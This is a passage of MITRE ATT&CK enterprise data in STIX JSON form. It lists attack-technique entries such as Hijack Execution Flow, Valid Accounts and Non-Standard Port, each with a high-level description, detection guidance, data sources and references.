detection","Host intrusion prevention systems","File monitoring"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","created":"2020-03-02T14:19:22.609Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1565","url":"https://attack.mitre.org/techniques/T1565"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","modified":"2022-04-19T23:03:02.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Data Manipulation","x_mitre_detection":"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["File: File Metadata","File: File Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","File: File Deletion","Process: OS API Execution","File: File Modification"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Integrity"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","type":"attack-pattern","created":"2020-02-12T14:08:48.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1559","url":"https://attack.mitre.org/techniques/T1559"},{"source_name":"Linux IPC","url":"https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.","description":"N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022."},{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."}],"modified":"2022-03-11T20:23:23.122Z","name":"Inter-Process Communication","description":"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Module: Module Load","Script: Script Execution","Process: Process Access"],"x_mitre_permissions_required":["Administrator","User","SYSTEM"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","type":"attack-pattern","created":"2017-05-31T21:30:18.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1001","url":"https://attack.mitre.org/techniques/T1001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-15T00:40:27.670Z","name":"Data Obfuscation","description":"Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","type":"attack-pattern","created":"2017-05-31T21:30:41.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1039","url":"https://attack.mitre.org/techniques/T1039"},{"external_id":"CAPEC-639","source_name":"capec","url":"https://capec.mitre.org/data/definitions/639.html"}],"modified":"2020-03-24T15:42:44.026Z","name":"Data from Network Shared Drive","description":"Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Command: Command Execution","Network Share: Network Share Access"],"x_mitre_system_requirements":["Privileges to access network shared drive"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","type":"attack-pattern","created":"2020-10-01T01:01:00.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1584.006","url":"https://attack.mitre.org/techniques/T1584/006"},{"source_name":"Recorded Future Turla Infra 2020","url":"https://www.recordedfuture.com/turla-apt-infrastructure/","description":"Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:01:48.047Z","name":"Web Services","description":"Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","type":"attack-pattern","created":"2020-10-19T19:42:19.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1601","url":"https://attack.mitre.org/techniques/T1601"},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:50:47.635Z","name":"Modify System Image","description":"Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Most embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.  (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","type":"attack-pattern","created":"2020-03-12T20:38:12.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574","url":"https://attack.mitre.org/techniques/T1574"},{"source_name":"Autoruns for Windows","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns","description":"Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."}],"modified":"2022-03-18T14:48:33.512Z","name":"Hijack Execution Flow","description":"Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","File: File Creation","File: File Modification","Process: Process Creation","Module: Module Load","Service: Service Metadata"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","type":"attack-pattern","created":"2020-03-19T21:27:32.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1027.005","url":"https://attack.mitre.org/techniques/T1027/005"}],"modified":"2020-03-29T21:03:09.766Z","name":"Indicator Removal from Tools","description":"Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","Log analysis","Signature-based detection"]},{"x_mitre_platforms":["IaaS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Vishwas Manral, McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","type":"attack-pattern","created":"2021-03-30T17:20:05.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1204.003","url":"https://attack.mitre.org/techniques/T1204/003"},{"source_name":"Summit Route Malicious AMIs","url":"https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/","description":"Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021."},{"source_name":"Aqua Security Cloud Native Threat Report June 2021","url":"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation","description":"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021."}],"modified":"2021-08-26T16:42:35.318Z","name":"Malicious Image","description":"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Image: Image Creation","Instance: Instance Creation","Container: Container Start","Container: Container Creation","Command: Command Execution","Instance: Instance Start"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Syed Ummar Farooqh, McAfee","Prasad Somasamudram, McAfee","Sekhar Sarukkai, McAfee ","Jon Sternstein, Stern Security","Yossi Weizman, Azure Defender Research Team","Netskope","Mark Wee","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","type":"attack-pattern","created":"2017-05-31T21:31:00.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1078","url":"https://attack.mitre.org/techniques/T1078"},{"external_id":"CAPEC-560","source_name":"capec","url":"https://capec.mitre.org/data/definitions/560.html"},{"source_name":"CISA MFA PrintNightmare","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-074a","description":"Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022."},{"url":"https://technet.microsoft.com/en-us/library/dn535501.aspx","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","source_name":"TechNet Credential Theft"},{"url":"https://technet.microsoft.com/en-us/library/dn487457.aspx","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","source_name":"TechNet Audit Policy"}],"modified":"2022-04-01T15:20:44.039Z","name":"Valid Accounts","description":"Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.","x_mitre_version":"2.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Metadata","User Account: User Account Authentication","Logon Session: Logon Session Creation"],"x_mitre_defense_bypassed":["Firewall","Host intrusion prevention systems","Network intrusion detection system","Application control","System access controls","Anti-virus"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":["User","Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","type":"attack-pattern","created":"2020-03-14T18:18:32.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1571","url":"https://attack.mitre.org/techniques/T1571"},{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"source_name":"Fortinet Agent Tesla April 2018","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018."},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T22:02:25.221Z","name":"Non-Standard Port","description":"Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","type":"attack-pattern","created":"2020-10-01T01:08:41.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1585.001","url":"https://attack.mitre.org/techniques/T1585/001"},{"source_name":"NEWSCASTER2014","description":"Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.","url":"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"},{"source_name":"BlackHatRobinSage","description":"Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.","url":"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}],"modified":"2021-10-16T17:37:34.563Z","name":"Social Media Accounts","description":"Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona  on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Persona: Social Media","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09","type":"attack-pattern","created":"2017-05-31T21:30:58.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1073","url":"https://attack.mitre.org/techniques/T1073"},{"external_id":"CAPEC-641","source_name":"capec","url":"https://capec.mitre.org/data/definitions/641.html"},{"url":"https://msdn.microsoft.com/en-us/library/aa375365","description":"Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.","source_name":"MSDN Manifests"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf","description":"Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.","source_name":"Stewart 